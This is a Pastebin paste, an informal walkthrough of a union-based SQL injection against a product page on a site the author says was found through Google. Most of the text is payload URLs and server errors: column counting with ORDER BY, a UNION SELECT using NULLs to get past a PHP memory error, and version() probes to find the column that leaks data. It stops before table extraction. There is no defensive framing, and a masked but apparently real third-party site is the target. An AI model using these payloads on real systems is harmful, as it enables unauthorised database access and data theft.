Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hmmm we will start With our normal Injecting.we Found the Site From Google while Injecting and its Vulnerable to SQL Injection..
- First we will Count The Total Number of Columns .
- http://www.TARGET.com/product.php?id=35 order by 5-- -
- No Error !
- http://www.TARGET.com/product.php?id=35 order by 6-- -
- Again Site loaded Normally and There is No Error !
- http://www.TARGET.com/product.php?id=35 order by 7-- -
- Now We Have Got A Error here
- Unknown column '7' in 'order clause'
- it Means There are Total 6 Number of Columns.
- Lets Execute our UNION BASED Query.
- http://www.TARGET.com/product.php?id=35 and 0 Union SELECT 1,2,3,4,5,6-- -
- After executing UNION BASED Query we Got a Error.
- Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 534511572 bytes) in /home/XXXX/public_html/cat_ver_producto.php on line 166
- The problem is with the PHP Memory of the Server.We Will use NULL Values instead of putting The Number Columns there to Bypass the Server PHP Memory Usage for our SQL Query.
- After Putting NULL values Our Query Will Be.
- http://www.TARGET.com/product.php?id=35 and 0 Union SELECT null,null,null,null,null,null-- -
- Now The ERROR is GONE!!
- As we are using Null Values we Don't know Which Column is Vulnerable. So to find The Vulnerable Column we Give The Command OF Version() one by one in every Column until it Gives us Any Result.
- http://www.TARGET.com/product.php?id=35 and 0 Union SELECT version(),null,null,null,null,null-- -
- After checking The first Column next Check Another and then Another until we Got The Result.In This Way we Will Check All Columns and Will Find our Vulnerable Column.
- When we will Find our Vulnerable Column then we Can put our Query for Tables and Columns in that vulnerable Column.
- if You Don't know How To Get Tables And Columns Then.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement